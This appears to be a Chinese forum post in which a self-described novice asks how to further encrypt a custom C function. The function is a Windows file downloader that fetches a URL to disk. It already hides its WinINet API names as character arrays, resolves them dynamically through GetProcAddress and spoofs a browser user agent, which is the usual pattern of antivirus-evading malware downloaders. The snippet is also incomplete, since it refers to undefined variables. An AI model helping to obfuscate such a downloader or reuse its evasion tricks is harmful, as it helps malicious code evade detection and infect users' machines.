自定义函数怎么加密?
BOOL http_get(LPCTSTR szURL, LPCTSTR szFileName){
BOOL bRet = FALSE;
HINTERNET hInternet, hUrl;
HANDLE hFile;
char buffer[1024];
DWORD dwBytesRead = 0;
DWORD dwBytesWritten = 0;
typedef HANDLE (WINAPI *InternetOpenAT)
(
__in_opt LPCSTR lpszAgent,
__in DWORD dwAccessType,
__in_opt LPCSTR lpszProxy,
__in_opt LPCSTR lpszProxyBypass,
__in DWORD dwFlags
);
typedef HINTERNET
(WINAPI
*InternetOpenUrlAT)(
__in HINTERNET hInternet,
__in LPCSTR lpszUrl,
__in_ecount_opt(dwHeadersLength) LPCSTR lpszHeaders,
__in DWORD dwHeadersLength,
__in DWORD dwFlags,
__in_opt DWORD_PTR dwContext
);
char TRwAppQ[] = {'I','n','t','e','r','n','e','t','O','p','e','n','U','r','l','A','\0'};
InternetOpenUrlAT pInternetOpenUrlA=(InternetOpenUrlAT)GetProcAddress(LoadLibrary(jzSApmA),TRwAppQ);
char yBJFQWx[] = {'I','n','t','e','r','n','e','t','O','p','e','n','A','\0'};
InternetOpenAT pInternetOpenA= (InternetOpenAT)GetProcAddress(LoadLibrary(jzSApmA),yBJFQWx);
char sIQkS10[] = {'M','o','z','i','l','l','a','/','4','.','0',' ','(','c','o','m','p','a','t','i','b','l','e',')','\0'};
hInternet = pInternetOpenA(sIQkS10, INTERNET_OPEN_TYPE_PRECONFIG, NULL,INTERNET_INVALID_PORT_NUMBER,0);
hUrl = pInternetOpenUrlA(hInternet, szURL, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hUrl == NULL)
return FALSE;
if (hUrl == NULL)
return FALSE;
// 创建文件
hFile = pCreateFileA(szFileName, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
if (hFile != INVALID_HANDLE_VALUE)
{
do
{
typedef BOOL
(WINAPI
*WriteFileT)(
__in HANDLE hFile,
__in_bcount(nNumberOfBytesToWrite) LPCVOID lpBuffer,
__in DWORD nNumberOfBytesToWrite,
__out_opt LPDWORD lpNumberOfBytesWritten,
__inout_opt LPOVERLAPPED lpOverlapped
);
typedef BOOL
(WINAPI
*InternetReadFileT)(
__in HINTERNET hFile,
__out_bcount(dwNumberOfBytesToRead) LPVOID lpBuffer,
__in DWORD dwNumberOfBytesToRead,
__out LPDWORD lpdwNumberOfBytesRead
);
char DAkhElS[] = {'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e','\0'};
InternetReadFileT pInternetReadFile=(InternetReadFileT)GetProcAddress(LoadLibrary(jzSApmA),DAkhElS);
char JaGpODT[] = {'W','r','i','t','e','F','i','l','e','\0'};
WriteFileT pWriteFile=(WriteFileT)GetProcAddress(LoadLibrary(AyRApxh),JaGpODT);
memset(buffer, 0, sizeof(buffer));
pInternetReadFile(hUrl, buffer, sizeof(buffer), &dwBytesRead);
pWriteFile(hFile, buffer, dwBytesRead, &dwBytesWritten, NULL);
} while(dwBytesRead > 0);
pCloseHandle(hFile);
bRet = TRUE;
}
typedef BOOL
(WINAPI
*InternetCloseHandleT)(
__in HINTERNET hInternet
);
char MQiOCfK[] = {'I','n','t','e','r','n','e','t','C','l','o','s','e','H','a','n','d','l','e','\0'};
InternetCloseHandleT pInternetCloseHandle=(InternetCloseHandleT)GetProcAddress(LoadLibrary(jzSApmA),MQiOCfK);
pInternetCloseHandle(hUrl);
pInternetCloseHandle(hInternet);
return bRet;
}
各位大牛 老司机 小白想问下如何加密这段自定义函数